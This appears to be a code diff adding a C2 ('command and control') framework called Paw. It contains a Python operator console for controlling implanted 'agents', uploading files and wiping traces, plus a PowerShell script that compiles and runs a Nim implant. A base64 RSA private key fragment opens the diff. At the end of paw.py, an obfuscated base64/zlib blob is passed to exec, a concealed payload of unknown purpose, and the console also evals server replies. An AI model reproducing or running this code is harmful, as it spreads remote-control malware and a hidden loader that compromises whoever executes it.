MUdXVURiaUNRb2llNUpCUHc3d1VyMDNjYk90cmlNZEI2R0R6aHYzcUZzbHkydVhMUkZlSGRCNWQzRgorWi9OVTl5QXdpeU9qSFJ1R2paVVNNZ3BCYXlUQVFjTzE1NDFPQVBGWUFkcStRZHkzQzdFcFpBdmU1SVZtVjFsClJuYU5WU0xUWWIrK2sxK2t4N1NsT1p6emtnelF1Z0NoOHA5SEIyY1pQS003bGxnVjlOS0Z3bVh2K2JVeHlmbzMKRmcvSCsvR09NUHRXTVJ1REx5cFlzL2RsR2xhR1JUUGVRakY0Qy9kd3M0Y1BCalpBZkVsVVZzS2ZwR0ExMExYbAp2V0hHQ0g3aGtKbU5YZU84SnhURTVtZmh6bFJVdHNWK3I2SGdJaVVDZ2dFQWJCSlBWR1Zndm5LZ2dFL1B2dkM2CjJnaDFqdTUrSTNNd2MrOHNMZEIxajNUTFBFelFOMmtKTDRHWVNSUWk5L09PM29wY1pWNGIrWnh3UG9oS29uVUIKVlhmK2ZYKzZvQm9xNTA3RnZRdllRWkdmTWozbTk0c3poTjlTYjJEV3J0OG5JMDV1ZlJ1VGZQdE45QklTVlJPWgpUbTBBbS9ZcVZ3YVZKRDJjUmNFb1lTRytocHVLNXJTa2dwK3BFWVFaK0RxRHRZUHZ3QkZpcGNQandURFJxeHhkCnRCdGpsZjN6VUx5dTU4TTFhYzdiRVIrcGJ4ejB2ajVOdHcrZy9qMkNLUFNCdktXS1hoaWxKc3dsZitZMEU2SDEKbHRmREtZZHFQWmUxUzJiODJPVEkzd2wwNDhibWdZR09yRjI3Z0hJSjV0bVJwbitqYmswTVV0aXlEcWhwUGd6NApXd0tDQVFFQW1TK1RVK2twdC9oaEhqT3lwSzY2RW9VdVdFd2pHakJReG9PcGV1Wk5OSmI3bkdRejV1SXg5KytnCjBlUVdJME5CSkIyWURnV2xFV1FSVUczMTkremw0YUFMclQ5Y2NlNElraEZSaVNPN3F1c2o4VXFtdWNoSnpRY28KeEZSMzZFUmE3OWg1aDFoYkNFcGcway8yamJJdDllRng1YXFzeGc0d1NqcG1EMFdQcS91ZlBYaW1MeG8xRTFpQQowNmdySDJGczlPWXZ3VDFuM3I0cW9LK0hHNVU0dndvbkY2Tk44ZHNCUk9jU1Q0SVlvdVhnTG5WbEtOMCtvdVRFCkhzVGUyaUpaUXVteGJxL1k3cGtrdm9NSU1NMU9CZWVMeEdaWmtvYTlLUTN0NnVRZXNZRFU1MkZzL0UwRFVrUSsKM0JHM3pPeTJzZWRjTWVTdkNQbDkwOHdVQkQzMlJRPT0KLS0tLS1FTkQgUFJJVkFURSBLRVktLS0tLQo="
|
||||
}
|
||||
0
install.bat
Normal file
0
install.bat
Normal file
433
paw.py
Normal file
433
paw.py
Normal file
@@ -0,0 +1,433 @@
|
||||
import ctypes
|
||||
import asyncio
|
||||
import os
|
||||
import logging
|
||||
import random
|
||||
import json
|
||||
import socket
|
||||
import string
|
||||
import sys
|
||||
import threading
|
||||
import time
|
||||
from tabulate import tabulate
|
||||
from cryptography.hazmat.primitives.asymmetric import rsa, padding
|
||||
from cryptography.hazmat.primitives import serialization
|
||||
from pystyle import Colors, Center, Box
|
||||
from base64 import b64decode
|
||||
|
||||
|
||||
__name__ = 'Paw'
|
||||
__version__ = '1.0.0'
|
||||
__authors__ = 'sw'
|
||||
|
||||
|
||||
class Paw:
|
||||
def __init__(self) -> None:
|
||||
try:
|
||||
self.root_dir = os.path.dirname(os.path.abspath(__file__))
|
||||
self.banner = '''
|
||||
|
||||
|
||||
|\ _,,,---,,_
|
||||
/,`.-'`' -. ;-;;,_
|
||||
|,4- ) )-,_..;\ ( `'-'
|
||||
'---''(_/--' `-'\_) '''
|
||||
ctypes.windll.kernel32.SetConsoleTitleW('{} C2 | Version {}'.format(__name__, __version__))
|
||||
logging.basicConfig(
|
||||
level=logging.DEBUG,
|
||||
filename=os.path.join(self.root_dir, 'cats.log'),
|
||||
filemode='a',
|
||||
format='[%(filename)s:%(lineno)d] - %(asctime)s - %(levelname)s - %(message)s'
|
||||
)
|
||||
|
||||
self.logger = logging.getLogger(__name__)
|
||||
|
||||
self.configuration_file = os.path.join(self.root_dir, 'configuration.json')
|
||||
|
||||
self.private_key = rsa.generate_private_key(public_exponent=65537, key_size=4096)
|
||||
self.public_key = self.private_key.public_key()
|
||||
|
||||
if not os.path.exists(self.configuration_file):
|
||||
with open(self.configuration_file, 'w') as file:
|
||||
file.write('{}')
|
||||
|
||||
with open(self.configuration_file, 'r+') as file:
|
||||
try:
|
||||
self.configuration = json.load(file)
|
||||
except json.JSONDecodeError:
|
||||
self.configuration = {}
|
||||
|
||||
wipe_phrase = self.get_random_string()
|
||||
asyncio.run(self.update_configuration('wipe', wipe_phrase))
|
||||
|
||||
self.help_page = f''' {Colors.white}---AGENT CONTROL---
|
||||
{Colors.dark_red}agents list all {Colors.white}->{Colors.dark_red} lists all active agents
|
||||
{Colors.dark_red}agents list inactive {Colors.white}->{Colors.dark_red} lists all inactive agents and their last connection
|
||||
{Colors.dark_red}agents control [{Colors.white}AGENT_ID{Colors.dark_red}] {Colors.white}->{Colors.dark_red} switches to interactive shell
|
||||
{Colors.dark_red}agents run upload_file [{Colors.white}AGENT_ID{Colors.dark_red} or {Colors.white}ALL{Colors.dark_red}] [{Colors.white}FILEPATH{Colors.dark_red} or {Colors.white}LINK{Colors.dark_red}] {Colors.white}->{Colors.dark_red} uploads file to machine(s), can drag & drop local file into the window
|
||||
{Colors.red}‽ DANGEROUS:{Colors.dark_red} agent quit [{Colors.white}AGENT_ID{Colors.dark_red}] {Colors.white}->{Colors.dark_red} emergency uninstall the implant from agent machine
|
||||
|
||||
{Colors.white}‽ example:{Colors.dark_red} agents run upload_file {Colors.white}ALL{Colors.dark_red} C:\\Users\\sw\\Documents\\test\\paw\\cats.log
|
||||
|
||||
|
||||
---BUILDER---
|
||||
{Colors.dark_red}build clean {Colors.white}->{Colors.dark_red} deletes old build configurations
|
||||
{Colors.dark_red}build values {Colors.white}->{Colors.dark_red} lists all values required to build
|
||||
{Colors.dark_red}build values optional {Colors.white}->{Colors.dark_red} lists all values + optional ones
|
||||
{Colors.dark_red}build set [{Colors.white}KEY_NAME{Colors.dark_red}] '[{Colors.white}VALUE{Colors.dark_red}]' {Colors.white}->{Colors.dark_red} sets a value for a specific key, please always specify it inside of ''
|
||||
{Colors.dark_red}build run {Colors.white}->{Colors.dark_red} builds your implant
|
||||
|
||||
{Colors.white}‽ example:{Colors.dark_red} build values optional
|
||||
|
||||
|
||||
---CONFIGURATION---
|
||||
{Colors.dark_red}config del {Colors.white}->{Colors.dark_red} deletes old config, will require a restart, basically a force reset of the program
|
||||
{Colors.dark_red}config values {Colors.white}->{Colors.dark_red} lists all config values
|
||||
{Colors.dark_red}config set [{Colors.white}KEY_NAME{Colors.dark_red}] '[{Colors.white}VALUE{Colors.dark_red}]' {Colors.white}->{Colors.dark_red} sets a value for a specific key, please always specify it inside of ''
|
||||
{Colors.dark_red}config apply {Colors.white}->{Colors.dark_red} applies the config and restarts paw c2
|
||||
|
||||
{Colors.white}‽ example:{Colors.dark_red} config set {Colors.white}auto_listener{Colors.dark_red} 'false'
|
||||
|
||||
|
||||
{Colors.red}‽ DANGEROUS:{Colors.dark_red} wipe {Colors.white}{self.configuration.get('wipe', None)} ->{Colors.dark_red} wipes out both the socket and local traces of paw, {Colors.dark_red}EVERYTHING WILL GET DELETED
|
||||
|
||||
{Colors.dark_red}help {Colors.white}->{Colors.dark_red} shows this page
|
||||
{Colors.dark_red}exit {Colors.white}->{Colors.dark_red} quits the program
|
||||
{Colors.dark_red}clear {Colors.white}->{Colors.dark_red} clears/reloads the page
|
||||
|
||||
|
||||
{Colors.white}Tip:{Colors.dark_red} you can also combine multiple commands directly by using {Colors.white}&&
|
||||
'''
|
||||
|
||||
self.s = None
|
||||
self.host = None
|
||||
self.port = None
|
||||
|
||||
self.agents = list()
|
||||
self.connected_agents = len(self.agents)
|
||||
|
||||
self.socket_ready_event = threading.Event()
|
||||
except Exception as error:
|
||||
print('Critical Error in __init__ func: {}, quitting...'.format(error))
|
||||
os._exit(1)
|
||||
|
||||
async def save_configuration(self) -> None:
|
||||
self.logger.debug('Entered save_configuration func')
|
||||
|
||||
with open(self.configuration_file, 'w') as file:
|
||||
json.dump(self.configuration, file, indent=2)
|
||||
|
||||
async def update_configuration(self, key: str, value: str) -> None:
|
||||
self.logger.debug('Entered update_configuration func with args: {}, {}'.format(key, value))
|
||||
self.configuration[key] = value
|
||||
|
||||
await self.save_configuration()
|
||||
|
||||
@staticmethod
|
||||
def minify_path(path: str, max_length: int = 30) -> str:
|
||||
if len(path) <= max_length:
|
||||
return path
|
||||
base_name = os.path.basename(path)
|
||||
dir_name = os.path.dirname(path)
|
||||
return os.path.join(dir_name[:max_length - len(base_name) - 3] + '...', base_name)
|
||||
|
||||
@staticmethod
|
||||
def get_random_string(length: int = 16) -> str:
|
||||
chars = string.ascii_lowercase + string.digits
|
||||
|
||||
random_string = ''.join(random.choice(chars) for _ in range(length))
|
||||
|
||||
return random_string
|
||||
|
||||
async def del_conf(self) -> None:
|
||||
self.logger.debug('Entered del_conf func')
|
||||
|
||||
try:
|
||||
os.remove(os.path.join(self.configuration_file))
|
||||
os.execv(sys.executable, ['python'] + sys.argv)
|
||||
except Exception as error:
|
||||
print(Colors.dark_red + ' .$ Error deleting config: {}'.format(error))
|
||||
self.logger.error('Error deleting config: {}'.format(error))
|
||||
|
||||
async def wipe_out(self) -> None:
|
||||
self.logger.debug('Entered wipe_out func')
|
||||
print('wiping everything')
|
||||
|
||||
async def parse_command(self, command: str) -> None:
|
||||
self.logger.debug('Entered parse_command func with args: {}'.format(command))
|
||||
try:
|
||||
if command.startswith('help'):
|
||||
print(Colors.dark_red, self.help_page)
|
||||
elif command.startswith('wipe {}'.format(self.configuration.get('wipe', None))):
|
||||
try:
|
||||
print(' {}.${} Wiping out in 3 seconds... Press CTRL+C to cancel.'.format(Colors.white, Colors.dark_red))
|
||||
|
||||
time.sleep(3.0)
|
||||
|
||||
await self.wipe_out()
|
||||
except asyncio.CancelledError:
|
||||
print(' {}.${} CTRL+C detected. Exiting wipeout...'.format(Colors.white, Colors.dark_red))
|
||||
time.sleep(1.0)
|
||||
await self.Home_Menu()
|
||||
elif command.startswith('agents list all'):
|
||||
agents = list(self.Get_Agents())
|
||||
|
||||
self.logger.debug(agents)
|
||||
print(' {}.${} Active agents: {}'.format(Colors.white, Colors.dark_red, len(agents)))
|
||||
|
||||
print(Colors.white + '\n{}\n'.format(tabulate(agents, headers='keys', tablefmt='psql')))
|
||||
|
||||
#for agent in agents:
|
||||
# print(Colors.dark_red +''''''.format(agent['id'], agent['hostname'], agent['username'])))
|
||||
# print(Colors.dark_red + tabulate(agents, headers='keys', tablefmt='grid')))
|
||||
elif command.startswith('exit'):
|
||||
print(' {}.${} Exiting...'.format(Colors.white, Colors.dark_red))
|
||||
time.sleep(1.0)
|
||||
self.s.close()
|
||||
os._exit(0)
|
||||
elif command.startswith('clear'):
|
||||
await self.Home_Menu()
|
||||
elif command.startswith('config del'):
|
||||
await self.del_conf()
|
||||
else:
|
||||
print(' {}.${} Invalid command.'.format(Colors.white, Colors.dark_red))
|
||||
time.sleep(1.0)
|
||||
await self.Home_Menu()
|
||||
except Exception as error:
|
||||
print(' {}.${} Error in parse_command func: {}\n'.format(Colors.white, Colors.dark_red, error))
|
||||
self.logger.error('Error in parse_command func: {}'.format(error))
|
||||
time.sleep(1.0)
|
||||
|
||||
async def Command_Listener(self) -> None:
|
||||
self.logger.debug('Entered Command_Listener func')
|
||||
try:
|
||||
while True:
|
||||
command = input(' {}.$ '.format(Colors.white))
|
||||
await self.parse_command(command)
|
||||
except Exception as error:
|
||||
print(' {}.${} Unexpected Error in Command_Listener func: {}\n'.format(Colors.white, Colors.dark_red, error))
|
||||
self.logger.error('Unexpected Error in Command_Listener func: {}'.format(error))
|
||||
time.sleep(1.0)
|
||||
|
||||
def is_connected(self) -> bool:
|
||||
try:
|
||||
self.s.send(b'')
|
||||
return True
|
||||
except (socket.error, AttributeError):
|
||||
return False
|
||||
|
||||
def socket_conn(self) -> None:
|
||||
self.logger.debug('Entered socket_conn func')
|
||||
self.ask = True
|
||||
self.retry = True
|
||||
|
||||
while self.retry:
|
||||
if not self.is_connected():
|
||||
asyncio.run(self.Animate_Banner())
|
||||
self.logger.debug('Attempting to connect...')
|
||||
print(' {}.${} Attempting to connect...'.format(Colors.white, Colors.dark_red))
|
||||
try:
|
||||
self.host, self.port = self.configuration.get('socket', '127.0.0.1:42720').split(':')
|
||||
self.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
self.s.connect((self.host, int(self.port)))
|
||||
|
||||
client_pub_key = self.private_key.public_key().public_bytes(
|
||||
encoding=serialization.Encoding.PEM,
|
||||
format=serialization.PublicFormat.SubjectPublicKeyInfo
|
||||
)
|
||||
self.s.sendall(client_pub_key)
|
||||
|
||||
print(' {}.${} Connection established and authed successfully.'.format(Colors.white, Colors.dark_red))
|
||||
self.logger.info('Connection established and authed successfully.')
|
||||
|
||||
self.socket_ready_event.set()
|
||||
|
||||
# time.sleep(1.0)
|
||||
|
||||
# asyncio.run(self.Home_Menu())
|
||||
return
|
||||
except socket.error as error:
|
||||
print(' {}.${} Tip: To reset the configuration, type: {}\'config del\''.format(Colors.white, Colors.dark_red, Colors.white))
|
||||
|
||||
if error.errno == 10061:
|
||||
print(' {}.${} Could not connect to the server. The server might be offline or not accepting connections on the specified port.'.format(Colors.white, Colors.dark_red))
|
||||
else:
|
||||
print('An unexpected socket error occurred: {}'.format(error))
|
||||
|
||||
if self.ask:
|
||||
self.retry = True if input(' {}.${} Retry connecting every 3s? (Y/n)\n {}-> '.format(Colors.white, Colors.dark_red, Colors.white)).upper() == 'Y' else False
|
||||
self.ask = False
|
||||
|
||||
time.sleep(1.0)
|
||||
self.socket_ready_event.set()
|
||||
except Exception as error:
|
||||
print(' {}.${} Error in socket_conn: {}'.format(Colors.white, Colors.dark_red, error))
|
||||
self.logger.error('Error in socket_conn: {}'.format(error))
|
||||
time.sleep(1.0)
|
||||
self.socket_ready_event.set()
|
||||
|
||||
time.sleep(3)
|
||||
|
||||
def send_task(self, agent_id: str, task: str) -> None:
|
||||
self.logger.debug('Entered send_task func with args: {}, {}'.format(agent_id, task))
|
||||
|
||||
try:
|
||||
self.socket_ready_event.wait()
|
||||
|
||||
message = '{}:{}'.format(agent_id, task).encode('utf-8')
|
||||
|
||||
encrypted_message = self.server_public_key.encrypt(
|
||||
message,
|
||||
padding.PKCS1v15()
|
||||
)
|
||||
self.s.sendall(encrypted_message)
|
||||
|
||||
encrypted_response = self.s.recv(8192)
|
||||
|
||||
decrypted_response = self.private_key.decrypt(
|
||||
encrypted_response,
|
||||
padding.PKCS1v15()
|
||||
)
|
||||
|
||||
response = decrypted_response.decode('utf-8')
|
||||
|
||||
print(' {}.${} Agent {} output: {}'.format(Colors.white, Colors.dark_red, agent_id, response))
|
||||
self.logger.info('Agent {} output: {}'.format(agent_id, response))
|
||||
except Exception as error:
|
||||
print(' {}.${} Error in send_task func: {}'.format(Colors.white, Colors.dark_red, error))
|
||||
self.logger.error('Error in send_task func: {}'.format(error))
|
||||
time.sleep(1.0)
|
||||
|
||||
def Get_Agents(self) -> dict:
|
||||
self.logger.debug('Entered Get_Agents func')
|
||||
|
||||
self.socket_ready_event.wait()
|
||||
|
||||
if self.s is None:
|
||||
print(' {}.${} Socket connection failed.'.format(Colors.white, Colors.dark_red))
|
||||
self.logger.error('Socket connection failed.')
|
||||
return {}
|
||||
|
||||
try:
|
||||
encrypted_message = self.server_public_key.encrypt(
|
||||
'recv agents'.encode('utf-8'),
|
||||
padding.PKCS1v15()
|
||||
)
|
||||
self.s.sendall(encrypted_message)
|
||||
|
||||
encrypted_response = self.s.recv(8192)
|
||||
|
||||
decrypted_response = self.private_key.decrypt(
|
||||
encrypted_response,
|
||||
padding.PKCS1v15()
|
||||
)
|
||||
|
||||
response = decrypted_response.decode('utf-8')
|
||||
|
||||
self.logger.debug(response)
|
||||
|
||||
return eval(response)
|
||||
except Exception as error:
|
||||
print(' {}.${} Error in Get_Agents func: {}'.format(Colors.white, Colors.dark_red, error))
|
||||
self.logger.error('Error in Get_Agents func: {}'.format(error))
|
||||
time.sleep(1.0)
|
||||
return {}
|
||||
|
||||
async def Setup_Script(self) -> None:
|
||||
self.logger.debug('Entered Setup_Script func')
|
||||
|
||||
socket_server = input(' {}.${} Socket server? ({}IP:Port{})\n {}-> '.format(Colors.white, Colors.dark_red, Colors.white, Colors.dark_red, Colors.white))
|
||||
auto_listener = 'true' if input(' {}.${} Listen to Agents on Startup? (Y/n)\n {}-> '.format(Colors.white, Colors.dark_red, Colors.white)).upper() == 'Y' else 'false'
|
||||
server_pubkey = input(' {}.${} Server public key?\n {}-> '.format(Colors.white, Colors.dark_red, Colors.white))
|
||||
client_privkey = input(' {}.${} Client private key?\n {}-> '.format(Colors.white, Colors.dark_red, Colors.white))
|
||||
save_configuration = input(' {}.${} Save configuration? (Y/n)\n {}-> '.format(Colors.white, Colors.dark_red, Colors.white))
|
||||
|
||||
if save_configuration.upper() == 'Y':
|
||||
await self.update_configuration('socket', socket_server)
|
||||
await self.update_configuration('auto_listener', auto_listener)
|
||||
await self.update_configuration('server_pubkey', server_pubkey)
|
||||
await self.update_configuration('client_privkey', client_privkey)
|
||||
|
||||
print(' {}.${} Settings saved to configuration file. ({}\'{}\'{})'.format(Colors.white, Colors.dark_red, Colors.white, self.minify_path(self.configuration_file), Colors.dark_red))
|
||||
self.logger.info('Settings saved to configuration file. (\'{}\')'.format(self.minify_path(self.configuration_file)))
|
||||
time.sleep(1.0)
|
||||
else:
|
||||
print(' {}.${} OK. Not saving.'.format(Colors.white, Colors.dark_red))
|
||||
self.logger.info('Not saving config.')
|
||||
time.sleep(1.0)
|
||||
|
||||
return
|
||||
|
||||
async def Cleanup(self) -> None:
|
||||
self.logger.debug('Entered Cleanup func')
|
||||
print('cleaning up')
|
||||
|
||||
async def Animate_Banner(self) -> None:
|
||||
self.logger.debug('Entered Animate_Banner func')
|
||||
|
||||
# os.system('mode con: cols=150 lines=34')
|
||||
|
||||
os.system('color 07')
|
||||
|
||||
os.system('cls')
|
||||
|
||||
print(Colors.dark_red + Center.XCenter(self.banner))
|
||||
print('\n')
|
||||
|
||||
async def Home_Menu(self) -> None:
|
||||
self.logger.debug('Entered Home_Menu func')
|
||||
try:
|
||||
await self.Animate_Banner()
|
||||
self.private_key = serialization.load_pem_private_key(
|
||||
b64decode(self.configuration.get('client_privkey', '')),
|
||||
password=None,
|
||||
)
|
||||
|
||||
self.logger.debug(self.private_key)
|
||||
|
||||
self.server_public_key = serialization.load_pem_public_key(
|
||||
b64decode(self.configuration.get('server_pubkey', '')),
|
||||
)
|
||||
|
||||
self.logger.debug(self.server_public_key)
|
||||
|
||||
threading.Thread(target=self.socket_conn, daemon=True).start()
|
||||
|
||||
self.socket_ready_event.wait()
|
||||
|
||||
self.update_agent_list()
|
||||
|
||||
print('\n')
|
||||
print(Colors.white + Box.Lines('{} C2 | Version {} | {} agents connected'.format(__name__, __version__, self.connected_agents)))
|
||||
self.logger.info('{} C2 | Version {} | {} agents connected'.format(__name__, __version__, self.connected_agents))
|
||||
print('\n\n {}Tip:{} enter {}\'help\'{} below to display all commands'.format(Colors.white, Colors.dark_red, Colors.white, Colors.dark_red))
|
||||
|
||||
await self.Command_Listener()
|
||||
except Exception as error:
|
||||
print(' {}.${} Error in Home_Menu func: {}'.format(Colors.white, Colors.dark_red, error))
|
||||
self.logger.error('Error in Home_Menu func: {}'.format(error))
|
||||
time.sleep(1.0)
|
||||
|
||||
def update_agent_list(self):
|
||||
self.agents = self.Get_Agents()
|
||||
self.connected_agents = len(self.agents)
|
||||
|
||||
self.logger.debug(self.agents)
|
||||
self.logger.debug(self.connected_agents)
|
||||
|
||||
async def Main(self) -> None:
|
||||
self.logger.debug('Entered Main func')
|
||||
await self.Animate_Banner()
|
||||
|
||||
if self.configuration.get('socket', None) == None or self.configuration.get('server_pubkey', None) == None or self.configuration.get('client_privkey', None) == None:
|
||||
self.logger.warning('Missing configuration data, running setup script')
|
||||
await self.Setup_Script()
|
||||
|
||||
self.logger.debug('Running Home_Menu func (entry)')
|
||||
await self.Home_Menu()
|
||||
|
||||
|
||||
if __name__ == b64decode('UGF3').decode('utf-8'):
|
||||
asyncio.run(Paw().Main())
|
||||
else:
|
||||
_ = lambda __ : __import__('zlib').decompress(__import__('base64').b64decode(__[::-1]));exec((_)(b'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'))
|
||||
3
requirements.txt
Normal file
3
requirements.txt
Normal file
@@ -0,0 +1,3 @@
|
||||
cryptography
|
||||
pystyle
|
||||
tabulate
|
||||
37
run_checks.ps1
Normal file
37
run_checks.ps1
Normal file
@@ -0,0 +1,37 @@
|
||||
Start-Process "powershell.exe" -ArgumentList @(
|
||||
"-NoExit",
|
||||
"-Command",
|
||||
"python components\server\main.py;
|
||||
Write-Host 'Server has started. Press Enter to close this window...';
|
||||
Read-Host"
|
||||
)
|
||||
|
||||
Write-Host "Waiting for the server to start. Press Enter to continue..."
|
||||
Read-Host
|
||||
|
||||
Start-Process "powershell.exe" -ArgumentList @(
|
||||
"-NoExit",
|
||||
"-Command",
|
||||
'nim c --opt:size -f --threads:on -o:./components/implant/out/rawr ./components/implant/paw.nim;
|
||||
if ($LASTEXITCODE -eq 0) {
|
||||
Write-Host ''Compilation successful, executing rawr.exe...'';
|
||||
Start-Process -NoNewWindow ''components\implant\out\rawr.exe'';
|
||||
} else {
|
||||
Write-Host ''Compilation failed.'';
|
||||
}
|
||||
Write-Host ''Press Enter to close this window...'';
|
||||
Read-Host'
|
||||
)
|
||||
|
||||
